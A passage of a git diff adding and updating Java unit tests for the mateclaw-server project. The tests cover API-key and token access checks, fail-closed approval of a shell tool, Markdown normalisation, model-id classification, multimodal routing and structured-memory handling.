@DisplayName("explicit agentId in a different workspace → 403 (anti-escalation)") + void explicitAgentIdDifferentWorkspace() { + R> r = controller.listWikiPages( + API_KEY, tokenFor("v6"), OTHER_WORKSPACE_AGENT_ID, "v6", null); + + assertThat(r.getCode()).isEqualTo(403); + assertThat(r.getData()).isNull(); + } + + @Test + @DisplayName("invalid API Key → 401") + void invalidApiKey() { + R> r = controller.listWikiPages( + "garbagekeyxyz12", tokenFor("v7"), null, "v7", null); + + assertThat(r.getCode()).isEqualTo(401); + } + + @Test + @DisplayName("missing/invalid visitor token → 401") + void invalidVisitorToken() { + R> r = controller.listWikiPages( + API_KEY, "not-a-valid-token", null, "v8", null); + + assertThat(r.getCode()).isEqualTo(401); + } + + @Test + @DisplayName("no KB bindings → fall back to workspace-wide KB set (legacy behavior)") + void noKbBindingsFallsBackToWorkspaceWide() { + // Use a fresh agent with no mate_agent_wiki_kb rows. The channel is + // repointed to it so the default-agent path resolves it. + long lonelyAgent = 9_400_099L; + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wc-wiki-lonely', 'react', '', 10, TRUE, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + lonelyAgent); + jdbc.update("UPDATE mate_channel SET agent_id = ? WHERE id = ?", lonelyAgent, CHANNEL_ID); + + R> r = controller.listWikiPages( + API_KEY, tokenFor("v9"), null, "v9", null); + + assertThat(r.getCode()).isEqualTo(200); + // Both workspace KBs visible: alpha/beta from KB_ID + other-kb-page + // from OTHER_KB_ID. Synthesis still filtered. + assertThat(r.getData()).hasSize(3); + assertThat(r.getData()).extracting(WebChatWikiPageView::getSlug) + .containsExactlyInAnyOrder("alpha-page", "beta-page", "other-kb-page"); + } + + @Test + @DisplayName(">100 pages without keyword → 422 (force narrow with keyword)") + void capWithoutKeywordReturns422() { + // Seed 101 synthetic pages (slug = cap-001 ... cap-101) into KB_ID. + // These are extra to the 3 set up in @BeforeEach; synthesis-type rows + // still get filtered, so use 'entity' to make sure they all count. + for (int i = 1; i <= 101; i++) { + insertPage(9_401_000L + i, KB_ID, + String.format("cap-%03d", i), + "Cap Page " + i, + "entity"); + } + + R> noKeyword = controller.listWikiPages( + API_KEY, tokenFor("v10"), null, "v10", null); + assertThat(noKeyword.getCode()).isEqualTo(422); + assertThat(noKeyword.getData()).isNull(); + + // With a keyword the cap is bypassed — caller gets the filtered subset + // (here: 3 of the 101 seeded rows match "cap-001" / "cap-010" / "cap-100"). + R> withKeyword = controller.listWikiPages( + API_KEY, tokenFor("v11"), null, "v11", "cap-001"); + assertThat(withKeyword.getCode()).isEqualTo(200); + assertThat(withKeyword.getData()).isNotEmpty(); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/wecom/cards/tool_guard/ToolGuardCardHandlerTest.java b/mateclaw-server/src/test/java/vip/mate/channel/wecom/cards/tool_guard/ToolGuardCardHandlerTest.java index d1873f62..77c8b6eb 100644 --- a/mateclaw-server/src/test/java/vip/mate/channel/wecom/cards/tool_guard/ToolGuardCardHandlerTest.java +++ b/mateclaw-server/src/test/java/vip/mate/channel/wecom/cards/tool_guard/ToolGuardCardHandlerTest.java @@ -130,8 +130,8 @@ class ToolGuardCardHandlerTest { } @Test - @DisplayName("system-owned pending allows ANY clicker (no original requester)") - void systemPendingAcceptsAnyClicker() { + @DisplayName("system-owned pending rejects a group clicker (fail-closed → admin console)") + void systemPendingRejectsGroupClicker() { PendingApproval pending = pendingFor("pid_sys", "system", "shell_exec"); when(approvalService.getPending("pid_sys")).thenReturn(Optional.of(pending)); @@ -139,7 +139,11 @@ class ToolGuardCardHandlerTest { ToolGuardButtonKey.Action.APPROVE, "pid_sys", "shell_exec", "MEDIUM")); handler.handle(adapter, frame, tce(frame), fromBlock("anyone")); - verify(adapter).injectSyntheticMessage(any(ChannelMessage.class)); + // A "system"/cron-owned approval has no human requester to match the + // clicker against, so a group button click is rejected (fail-closed) and + // never injected for execution — these resolve through the admin console. + verify(adapter, never()).injectSyntheticMessage(any(ChannelMessage.class)); + verify(adapter).updateTemplateCard(eq("evt_req_5"), any()); } @Test diff --git a/mateclaw-server/src/test/java/vip/mate/common/text/MarkdownNormalizerTest.java b/mateclaw-server/src/test/java/vip/mate/common/text/MarkdownNormalizerTest.java new file mode 100644 index 00000000..0b85ba0b --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/common/text/MarkdownNormalizerTest.java @@ -0,0 +1,184 @@ +package vip.mate.common.text; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * {@link MarkdownNormalizer} 单元测试。 + */ +class MarkdownNormalizerTest { + + @Test + @DisplayName("null / 空串原样返回") + void nullAndEmpty() { + assertNull(MarkdownNormalizer.normalize(null)); + assertEquals("", MarkdownNormalizer.normalize("")); + } + + @Test + @DisplayName("ATX 标题缺空格补空格") + void headingMissingSpace() { + assertEquals("## 二、美股", MarkdownNormalizer.normalize("##二、美股")); + assertEquals("### 已完成 ✅", MarkdownNormalizer.normalize("###已完成 ✅")); + } + + @Test + @DisplayName("已规范标题保持不变") + void compliantHeadingUnchanged() { + assertEquals("## 一、核心结论", MarkdownNormalizer.normalize("## 一、核心结论")); + } + + @Test + @DisplayName("数字开头的 #5 / #1 视为引用,不补空格") + void headingDigitGuard() { + assertEquals("#5 bolt", MarkdownNormalizer.normalize("#5 bolt")); + assertEquals("#1 优先级", MarkdownNormalizer.normalize("#1 优先级")); + } + + @Test + @DisplayName("--- 与后续内容粘连时拆行") + void thematicBreakGlued() { + assertEquals("---\n\n# 全球", MarkdownNormalizer.normalize("---#全球")); + assertEquals("---\n\n## 二、美股", MarkdownNormalizer.normalize("---##二、美股")); + } + + @Test + @DisplayName("--- 粘连在行内容之后(mid-line)且后接标题时拆行") + void thematicBreakGluedMidLine() { + assertEquals( + "*来源:雪球 · 2026-06-01*\n\n---\n\n### 二、供应链与产能", + MarkdownNormalizer.normalize("*来源:雪球 · 2026-06-01*---### 二、供应链与产能")); + } + + @Test + @DisplayName("行内容 + --- + 标题 + 表格四重粘连全部拆开") + void midLineHrHeadingTableChain() { + String input = "- 数据中心收入逾 **90%**---### 综合判断🔍| 维度 |信号 | 评级|\n" + + "|------|------|\n" + + "| 产品 | 强 |"; + String out = MarkdownNormalizer.normalize(input); + assertTrue(out.contains("- 数据中心收入逾 **90%**"), "前缀正文应保留"); + assertTrue(out.contains("\n---\n"), "--- 应独占一行"); + assertTrue(out.contains("### 综合判断🔍"), "标题应从表格拆出"); + assertTrue(out.contains("| 维度 | 信号 | 评级 |"), "表头应对齐"); + assertFalse(out.contains("**90%**---"), "--- 不应再粘连前缀"); + assertFalse(out.contains("🔍| 维度"), "标题不应再粘连表格"); + } + + @Test + @DisplayName("散文中的 em-dash 风格 --- 不被误拆(无后接标题)") + void midLineHrWithoutHeadingUntouched() { + String input = "他停顿了一下---然后继续说。"; + assertEquals(input, MarkdownNormalizer.normalize(input)); + } + + @Test + @DisplayName("表格单元格与分隔行对齐") + void tableCellAndSeparator() { + String input = "|指数 |涨跌| 解读 |\n" + + "|---| --- | --- |\n" + + "| 道琼斯 | +1.73% | 强势 |"; + String expected = "| 指数 | 涨跌 | 解读 |\n" + + "| --- | --- | --- |\n" + + "| 道琼斯 | +1.73% | 强势 |"; + assertEquals(expected, MarkdownNormalizer.normalize(input)); + } + + @Test + @DisplayName("分隔行保留对齐冒号") + void separatorAlignmentColons() { + String input = "| a | b | c |\n" + + "|:--|:-:|--:|\n" + + "| 1 | 2 | 3 |"; + String expected = "| a | b | c |\n" + + "| :--- | :---: | ---: |\n" + + "| 1 | 2 | 3 |"; + assertEquals(expected, MarkdownNormalizer.normalize(input)); + } + + @Test + @DisplayName("标题与表格粘连时拆行") + void headingGluedToTable() { + String input = "## 五、大宗商品:回调| 商品 |最新价 |涨跌 |\n" + + "| --- | --- | ---|"; + String expected = "## 五、大宗商品:回调\n" + + "\n" + + "| 商品 | 最新价 | 涨跌 |\n" + + "| --- | --- | --- |"; + assertEquals(expected, MarkdownNormalizer.normalize(input)); + } + + @Test + @DisplayName("标题与表格之间补空行") + void blankLineBetweenHeadingAndTable() { + String input = "## 表格\n" + + "| a | b |\n" + + "| --- | --- |\n" + + "| 1 | 2 |"; + String expected = "## 表格\n" + + "\n" + + "| a | b |\n" + + "| --- | --- |\n" + + "| 1 | 2 |"; + assertEquals(expected, MarkdownNormalizer.normalize(input)); + } + + @Test + @DisplayName("代码块内部原样保留,不被规范化") + void codeFenceProtected() { + String input = "```python\n" + + "##notheading\n" + + "x = a|b|c\n" + + "---glued\n" + + "```"; + assertEquals(input, MarkdownNormalizer.normalize(input)); + } + + @Test + @DisplayName("散文中的散落管道符不被当作表格") + void prosePipesUntouched() { + String input = "这是 a | b | c 的一句话。\n另一行普通文本。"; + assertEquals(input, MarkdownNormalizer.normalize(input)); + } + + @Test + @DisplayName("幂等:规范化两次结果一致") + void idempotent() { + String sample = "---#全球资产行情整体分析\n" + + "##二、美股\n" + + "|指数 |涨跌| 解读 |\n" + + "|---| --- | --- |\n" + + "| 道琼斯 | +1.73% | 强势 |\n" + + "## 五、大宗商品:回调| 商品 |最新价 |\n" + + "| --- | --- |\n" + + "```\n" + + "##code\n" + + "|x|y|\n" + + "```"; + String once = MarkdownNormalizer.normalize(sample); + String twice = MarkdownNormalizer.normalize(once); + assertEquals(once, twice); + } + + @Test + @DisplayName("综合样本:关键缺陷被修复") + void realWorldSampleProperties() { + String sample = "---#全球资产行情整体分析\n" + + "---##二、美股:道指强、纳指弱\n" + + "|指数 |涨跌| 解读 |\n" + + "|---| --- | --- |\n" + + "| 道琼斯 | +1.73% | 强势 |"; + String out = MarkdownNormalizer.normalize(sample); + + assertFalse(out.contains("---#"), "--- 不应再与标题粘连"); + assertTrue(out.contains("# 全球资产行情整体分析"), "一级标题应补空格"); + assertTrue(out.contains("## 二、美股"), "二级标题应补空格"); + assertTrue(out.contains("| 指数 | 涨跌 | 解读 |"), "表头应对齐"); + assertTrue(out.contains("| --- | --- | --- |"), "分隔行应规范"); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/config/DatabaseBootstrapRunnerLabelTest.java b/mateclaw-server/src/test/java/vip/mate/config/DatabaseBootstrapRunnerLabelTest.java new file mode 100644 index 00000000..2d43e361 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/config/DatabaseBootstrapRunnerLabelTest.java @@ -0,0 +1,44 @@ +package vip.mate.config; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Unit tests for {@link DatabaseBootstrapRunner#normalizeDatabaseLabel(String)}. + * Verifies that raw JDBC product names — including version-suffixed ones from the + * KingbaseES / PostgreSQL family — collapse to a clean, canonical label. + */ +class DatabaseBootstrapRunnerLabelTest { + + @Test + @DisplayName("KingbaseES product name (with version noise) → '人大金仓'") + void kingbaseNormalizes() { + assertEquals("人大金仓", DatabaseBootstrapRunner.normalizeDatabaseLabel("KingbaseES")); + assertEquals("人大金仓", DatabaseBootstrapRunner.normalizeDatabaseLabel("KingbaseES V008R006")); + assertEquals("人大金仓", DatabaseBootstrapRunner.normalizeDatabaseLabel("kingbasees")); + } + + @Test + @DisplayName("MySQL / MariaDB → canonical labels") + void mysqlFamilyNormalizes() { + assertEquals("MySQL", DatabaseBootstrapRunner.normalizeDatabaseLabel("MySQL")); + assertEquals("MariaDB", DatabaseBootstrapRunner.normalizeDatabaseLabel("MariaDB")); + } + + @Test + @DisplayName("PostgreSQL and H2 → canonical labels") + void postgresAndH2Normalize() { + assertEquals("PostgreSQL", DatabaseBootstrapRunner.normalizeDatabaseLabel("PostgreSQL")); + assertEquals("H2", DatabaseBootstrapRunner.normalizeDatabaseLabel("H2")); + } + + @Test + @DisplayName("Unknown / blank product name → 'Unknown'; unrecognized name passes through trimmed") + void fallbacks() { + assertEquals("Unknown", DatabaseBootstrapRunner.normalizeDatabaseLabel(null)); + assertEquals("Unknown", DatabaseBootstrapRunner.normalizeDatabaseLabel(" ")); + assertEquals("Oracle", DatabaseBootstrapRunner.normalizeDatabaseLabel(" Oracle ")); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/cron/service/CronJobRunnerPromptTest.java b/mateclaw-server/src/test/java/vip/mate/cron/service/CronJobRunnerPromptTest.java index 2a711fe4..38cbe5ea 100644 --- a/mateclaw-server/src/test/java/vip/mate/cron/service/CronJobRunnerPromptTest.java +++ b/mateclaw-server/src/test/java/vip/mate/cron/service/CronJobRunnerPromptTest.java @@ -41,7 +41,8 @@ class CronJobRunnerPromptTest { /* cronOrigin */ true, /* senderName */ null, /* channelType */ "feishu", - /* chatId */ "group-a"); + /* chatId */ "group-a", + /* baseUrl */ null); String prompt = CronJobRunner.buildCronPrompt("提醒喝水", channelOrigin); assertTrue(prompt.contains("[定时任务执行说明]")); diff --git a/mateclaw-server/src/test/java/vip/mate/exception/GlobalExceptionHandlerMethodNotSupportedTest.java b/mateclaw-server/src/test/java/vip/mate/exception/GlobalExceptionHandlerMethodNotSupportedTest.java new file mode 100644 index 00000000..f03ea77d --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/exception/GlobalExceptionHandlerMethodNotSupportedTest.java @@ -0,0 +1,67 @@ +package vip.mate.exception; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.test.web.servlet.MockMvc; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RestController; +import vip.mate.common.result.R; +import vip.mate.i18n.I18nService; + +import static org.mockito.Mockito.mock; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.delete; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; + +/** + * Verifies that a path matched but the HTTP method did not surfaces as a clean + * HTTP 405 (handled by {@link GlobalExceptionHandler}) instead of leaking a 500 + * with a full stack trace from the catch-all handler. + * + *

    This is the second line of defence for malformed path segments that make + * a reverse proxy strip the trailing path — e.g. a conversationId ending in + * ":" landing a GET on a @DeleteMapping route (upstream issue #369). + */ +class GlobalExceptionHandlerMethodNotSupportedTest { + + private MockMvc mockMvc; + + @BeforeEach + void setUp() { + I18nService i18n = mock(I18nService.class); + mockMvc = MockMvcBuilders.standaloneSetup(new ProbeController()) + .setControllerAdvice(new GlobalExceptionHandler(i18n)) + .build(); + } + + @Test + @DisplayName("GET on a @DeleteMapping-only route returns 405, not 500.") + void getOnDeleteOnlyRouteReturns405() throws Exception { + mockMvc.perform(get("/probe/abc")) + .andExpect(status().isMethodNotAllowed()) + .andExpect(jsonPath("$.code").value(405)) + .andExpect(jsonPath("$.msg").value("Method not allowed")); + } + + @Test + @DisplayName("DELETE on the same route still resolves the handler normally.") + void deleteOnDeleteRouteReturns200() throws Exception { + mockMvc.perform(delete("/probe/abc")) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.code").value(200)) + .andExpect(jsonPath("$.data").value("abc")); + } + + /** Minimal stand-in for a controller whose path is mapped to DELETE only. */ + @RestController + static class ProbeController { + @DeleteMapping("/probe/{id}") + R probe(@PathVariable String id) { + return R.ok(id); + } + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/llm/chatmodel/AnthropicChatModelBuilderFableTest.java b/mateclaw-server/src/test/java/vip/mate/llm/chatmodel/AnthropicChatModelBuilderFableTest.java new file mode 100644 index 00000000..e1861dd8 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/llm/chatmodel/AnthropicChatModelBuilderFableTest.java @@ -0,0 +1,60 @@ +package vip.mate.llm.chatmodel; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * {@link AnthropicChatModelBuilder#isClaudeFable} must classify the Claude + * Fable reasoning line as a modern model so it inherits the strict 4.7+ API + * contract: temperature / top_p / top_k must be unset (any non-default value + * returns HTTP 400) and the "xhigh" adaptive thinking tier is available. + * + *

    {@link AnthropicChatModelBuilder#isClaude47OrLater} unifies the gating + * logic across the 4.7 / 4.8 generations and the Fable family.

    + */ +class AnthropicChatModelBuilderFableTest { + + @Test + @DisplayName("isClaudeFable detects the direct-API and OpenRouter ids") + void detect_directAndOpenRouter() { + assertTrue(AnthropicChatModelBuilder.isClaudeFable("claude-fable-5")); + assertTrue(AnthropicChatModelBuilder.isClaudeFable("anthropic/claude-fable-5")); + // Case-insensitive + assertTrue(AnthropicChatModelBuilder.isClaudeFable("Claude-Fable-5")); + } + + @Test + @DisplayName("isClaudeFable tolerates date-stamped and future revisions") + void detect_futureRevisions() { + assertTrue(AnthropicChatModelBuilder.isClaudeFable("claude-fable-5-20260609")); + assertTrue(AnthropicChatModelBuilder.isClaudeFable("claude-fable-6")); + } + + @Test + @DisplayName("isClaudeFable ignores other Claude families and unrelated names") + void detect_negatives() { + assertFalse(AnthropicChatModelBuilder.isClaudeFable("claude-opus-4-8")); + assertFalse(AnthropicChatModelBuilder.isClaudeFable("claude-sonnet-4-6")); + // The "claude-fable" token guard prevents a stray "fable" elsewhere from matching. + assertFalse(AnthropicChatModelBuilder.isClaudeFable("some-fable-model")); + } + + @Test + @DisplayName("isClaudeFable null-safe") + void detect_nullSafe() { + assertFalse(AnthropicChatModelBuilder.isClaudeFable(null)); + assertFalse(AnthropicChatModelBuilder.isClaudeFable("")); + } + + @Test + @DisplayName("isClaude47OrLater routes Fable onto the sampling-forbidden contract") + void claude47OrLater_includesFable() { + assertTrue(AnthropicChatModelBuilder.isClaude47OrLater("claude-fable-5")); + assertTrue(AnthropicChatModelBuilder.isClaude47OrLater("anthropic/claude-fable-5")); + // Sanity: existing generations still classify modern, legacy still falls through. + assertTrue(AnthropicChatModelBuilder.isClaude47OrLater("claude-opus-4-8")); + assertFalse(AnthropicChatModelBuilder.isClaude47OrLater("claude-opus-4-6")); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/llm/routing/MediaCaptionServiceBuildPromptTest.java b/mateclaw-server/src/test/java/vip/mate/llm/routing/MediaCaptionServiceBuildPromptTest.java new file mode 100644 index 00000000..759da212 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/llm/routing/MediaCaptionServiceBuildPromptTest.java @@ -0,0 +1,70 @@ +package vip.mate.llm.routing; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import java.lang.reflect.Method; +import java.util.Locale; + +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Pins the two-stage prompt contract of {@link MediaCaptionService}: when a user + * question is supplied the vision model must be asked to answer it (so multi-turn + * follow-ups get a tailored answer instead of a generic caption), and when no + * question is supplied it must fall back to the factual full-description prompt. + * + *

    {@code buildPrompt} is private — it is the smallest unit that captures the + * branching, so it is exercised via reflection rather than driving a real + * (networked) vision call. + */ +class MediaCaptionServiceBuildPromptTest { + + private static String buildPrompt(Locale locale, String fileName, String userQuestion) throws Exception { + // Dependencies are unused by buildPrompt; null is fine for this unit. + MediaCaptionService service = new MediaCaptionService(null, null); + Method m = MediaCaptionService.class.getDeclaredMethod( + "buildPrompt", Locale.class, String.class, String.class); + m.setAccessible(true); + return (String) m.invoke(service, locale, fileName, userQuestion); + } + + @Test + @DisplayName("Question + Chinese locale → question-aware prompt embedding the question") + void chineseWithQuestion_isQuestionAware() throws Exception { + String prompt = buildPrompt(Locale.SIMPLIFIED_CHINESE, "err.png", "图里的报错是什么"); + + assertTrue(prompt.contains("图里的报错是什么"), "the user's question must be embedded verbatim"); + assertTrue(prompt.contains("回答用户的问题"), "must instruct the model to answer, not just describe"); + assertFalse(prompt.contains("不超过 300 字"), + "question-aware prompt must not reuse the generic description template"); + } + + @Test + @DisplayName("Question + English locale → English question-aware prompt") + void englishWithQuestion_isQuestionAware() throws Exception { + String prompt = buildPrompt(Locale.ENGLISH, "err.png", "What is the error message?"); + + assertTrue(prompt.contains("What is the error message?")); + assertTrue(prompt.contains("answer the user's question")); + } + + @Test + @DisplayName("Blank question → generic Chinese description prompt") + void chineseNoQuestion_isGeneric() throws Exception { + String prompt = buildPrompt(Locale.SIMPLIFIED_CHINESE, "photo.jpg", " "); + + assertTrue(prompt.contains("请用一段简洁的中文描述这张图片")); + assertFalse(prompt.contains("回答用户的问题")); + } + + @Test + @DisplayName("Null question + English → generic English description prompt") + void englishNoQuestion_isGeneric() throws Exception { + String prompt = buildPrompt(Locale.ENGLISH, null, null); + + assertTrue(prompt.contains("Describe this image")); + assertFalse(prompt.contains("answer the user's question")); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/llm/routing/MultimodalRouterTest.java b/mateclaw-server/src/test/java/vip/mate/llm/routing/MultimodalRouterTest.java index ee7ced22..690d5f90 100644 --- a/mateclaw-server/src/test/java/vip/mate/llm/routing/MultimodalRouterTest.java +++ b/mateclaw-server/src/test/java/vip/mate/llm/routing/MultimodalRouterTest.java @@ -145,8 +145,8 @@ class MultimodalRouterTest { } @Test - @DisplayName("Configured sidecar that does not actually support VISION → fallback to NONE") - void sidecarLacksClaimedCapability() { + @DisplayName("Explicit sidecar is honoured even when heuristics don't confirm VISION capability") + void sidecarHonouredDespiteUnconfirmedCapability() { ModelConfigEntity primary = chatModel("deepseek", "deepseek-chat", null); ModelConfigEntity vision = chatModel("acme", "acme-chat", "[]"); vision.setId(42L); @@ -161,8 +161,12 @@ class MultimodalRouterTest { MultimodalRoutingDecision decision = router.route(List.of(imagePart("a.png")), primary); - assertEquals(MultimodalRoutingDecision.Strategy.NONE, decision.strategy()); - assertEquals("vision_model_unavailable", decision.skipped().get(0).reason()); + // An explicit sidecar selection is the user's own capability declaration: + // honour it even when the built-in heuristics don't recognize the model as + // vision-capable (a wrong pick degrades gracefully at caption time, rather + // than the attachment being silently dropped). + assertEquals(MultimodalRoutingDecision.Strategy.SIDECAR, decision.strategy()); + assertEquals(vision, decision.sidecarModel()); } @Test diff --git a/mateclaw-server/src/test/java/vip/mate/memory/service/AlwaysOnFileBudgetTest.java b/mateclaw-server/src/test/java/vip/mate/memory/service/AlwaysOnFileBudgetTest.java new file mode 100644 index 00000000..a16fdef9 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/memory/service/AlwaysOnFileBudgetTest.java @@ -0,0 +1,54 @@ +package vip.mate.memory.service; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * Verifies the deterministic always-on file budget: content under budget is left + * untouched, over-budget content is bounded and cut at a section boundary, and + * disabling (0) or null short-circuits. + */ +class AlwaysOnFileBudgetTest { + + private static String md(int sections, String body) { + StringBuilder sb = new StringBuilder(); + for (int i = 1; i <= sections; i++) { + sb.append("## section_").append(i).append("\n").append(body).append("\n\n"); + } + return sb.toString(); + } + + @Test + @DisplayName("content within budget is returned unchanged") + void underBudgetUnchanged() { + String c = md(3, "short body"); + assertSame(c, AlwaysOnFileBudget.enforce(c, 10_000)); + } + + @Test + @DisplayName("maxChars<=0 and null short-circuit (unlimited)") + void disabledOrNull() { + String c = md(50, "filler"); + assertSame(c, AlwaysOnFileBudget.enforce(c, 0)); + assertNull(AlwaysOnFileBudget.enforce(null, 4000)); + } + + @Test + @DisplayName("over-budget content is bounded, marked, and cut on a section boundary") + void overBudgetTruncated() { + // 40 sections of ~60 chars each ≈ 2400+ chars; cap at 800. + String c = md(40, "这是一段用于撑大文件体积的内容,重复多次以超过预算阈值。"); + int budget = 800; + String out = AlwaysOnFileBudget.enforce(c, budget); + + assertTrue(out.length() <= budget, "result must not exceed the budget, was " + out.length()); + assertTrue(out.endsWith(AlwaysOnFileBudget.MARKER.strip()) + || out.contains("截断"), "truncation marker must be present"); + // The kept head ends at a clean section boundary — no half-section dangling. + String head = out.substring(0, out.indexOf(AlwaysOnFileBudget.MARKER.strip())); + assertTrue(head.contains("## section_1"), "earliest (head) sections are kept"); + assertFalse(head.contains("## section_40"), "latest sections are dropped under budget"); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/memory/service/MemorySummarizationStructuredRoutingTest.java b/mateclaw-server/src/test/java/vip/mate/memory/service/MemorySummarizationStructuredRoutingTest.java index 92714ce5..b8720274 100644 --- a/mateclaw-server/src/test/java/vip/mate/memory/service/MemorySummarizationStructuredRoutingTest.java +++ b/mateclaw-server/src/test/java/vip/mate/memory/service/MemorySummarizationStructuredRoutingTest.java @@ -36,12 +36,13 @@ class MemorySummarizationStructuredRoutingTest { structured); } - private void invokeApply(MemorySummarizationService svc, long agentId, String entriesJson) throws Exception { + private void invokeApply(MemorySummarizationService svc, long agentId, String ownerKey, String entriesJson) + throws Exception { JsonNode node = mapper.readTree(entriesJson); Method m = MemorySummarizationService.class - .getDeclaredMethod("applyStructuredEntries", Long.class, JsonNode.class); + .getDeclaredMethod("applyStructuredEntries", Long.class, JsonNode.class, String.class); m.setAccessible(true); - m.invoke(svc, agentId, node); + m.invoke(svc, agentId, node, ownerKey); } @Test @@ -50,15 +51,15 @@ class MemorySummarizationStructuredRoutingTest { StructuredMemoryService structured = mock(StructuredMemoryService.class); MemorySummarizationService svc = newService(structured); - invokeApply(svc, 1000000001L, """ + invokeApply(svc, 1000000001L, "owner-1", """ [ {"type": "project", "key": "project_codename", "content": "项目代号:云梯计划"}, {"type": "user", "key": "preferred_output_format", "content": "偏好表格输出"} ] """); - verify(structured).remember(1000000001L, "project", "project_codename", "项目代号:云梯计划", "auto-summary"); - verify(structured).remember(1000000001L, "user", "preferred_output_format", "偏好表格输出", "auto-summary"); + verify(structured).remember(1000000001L, "project", "project_codename", "项目代号:云梯计划", "auto-summary", "owner-1"); + verify(structured).remember(1000000001L, "user", "preferred_output_format", "偏好表格输出", "auto-summary", "owner-1"); verifyNoMoreInteractions(structured); } @@ -68,7 +69,7 @@ class MemorySummarizationStructuredRoutingTest { StructuredMemoryService structured = mock(StructuredMemoryService.class); MemorySummarizationService svc = newService(structured); - invokeApply(svc, 1000000001L, """ + invokeApply(svc, 1000000001L, "owner-1", """ [ {"type": "secret", "key": "k", "content": "bad type"}, {"type": "project", "key": "", "content": "missing key"}, @@ -78,7 +79,7 @@ class MemorySummarizationStructuredRoutingTest { """); // Only the last, fully-valid entry is written. - verify(structured).remember(1000000001L, "project", "good", "kept", "auto-summary"); + verify(structured).remember(1000000001L, "project", "good", "kept", "auto-summary", "owner-1"); verifyNoMoreInteractions(structured); } @@ -88,9 +89,9 @@ class MemorySummarizationStructuredRoutingTest { StructuredMemoryService structured = mock(StructuredMemoryService.class); MemorySummarizationService svc = newService(structured); - invokeApply(svc, 1000000001L, "null"); - invokeApply(svc, 1000000001L, "\"not-an-array\""); - invokeApply(svc, 1000000001L, "[]"); + invokeApply(svc, 1000000001L, "owner-1", "null"); + invokeApply(svc, 1000000001L, "owner-1", "\"not-an-array\""); + invokeApply(svc, 1000000001L, "owner-1", "[]"); verifyNoInteractions(structured); } diff --git a/mateclaw-server/src/test/java/vip/mate/memory/service/StructuredMemoryConsolidationServiceTest.java b/mateclaw-server/src/test/java/vip/mate/memory/service/StructuredMemoryConsolidationServiceTest.java new file mode 100644 index 00000000..3cb993e4 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/memory/service/StructuredMemoryConsolidationServiceTest.java @@ -0,0 +1,151 @@ +package vip.mate.memory.service; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.mockito.ArgumentCaptor; +import org.springframework.ai.chat.messages.AssistantMessage; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.model.ChatResponse; +import org.springframework.ai.chat.model.Generation; +import org.springframework.ai.chat.prompt.Prompt; +import vip.mate.agent.AgentGraphBuilder; +import vip.mate.llm.service.ModelConfigService; +import vip.mate.memory.MemoryProperties; + +import java.util.LinkedHashMap; +import java.util.List; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.*; + +/** + * Verifies the nightly structured-memory consolidation gating and safety + * invariants: it skips when disabled, below the min-entries gate, when the LLM + * declines or returns unparseable output, and when the result would grow the + * entry count — and only writes a genuinely reduced set. + */ +class StructuredMemoryConsolidationServiceTest { + + private static final long AGENT_ID = 1000000001L; + + private StructuredMemoryService memory; + private ModelConfigService modelConfigService; + private AgentGraphBuilder agentGraphBuilder; + private MemoryProperties props; + + private StructuredMemoryConsolidationService newService(String llmReply) { + memory = mock(StructuredMemoryService.class); + modelConfigService = mock(ModelConfigService.class); + agentGraphBuilder = mock(AgentGraphBuilder.class); + props = new MemoryProperties(); + props.setStructuredConsolidationMinEntries(8); + + // One always-on type, one shared bucket — a single bucket per agent. + when(memory.alwaysOnTypes()).thenReturn(List.of("user")); + when(memory.consolidatableOwnerKeys(eq(AGENT_ID), eq("user"))).thenReturn(java.util.Arrays.asList((String) null)); + + if (llmReply != null) { + ChatModel model = mock(ChatModel.class); + when(model.call(any(Prompt.class))).thenReturn( + new ChatResponse(List.of(new Generation(new AssistantMessage(llmReply))))); + when(agentGraphBuilder.buildRuntimeChatModel(any())).thenReturn(model); + } + return new StructuredMemoryConsolidationService(memory, modelConfigService, 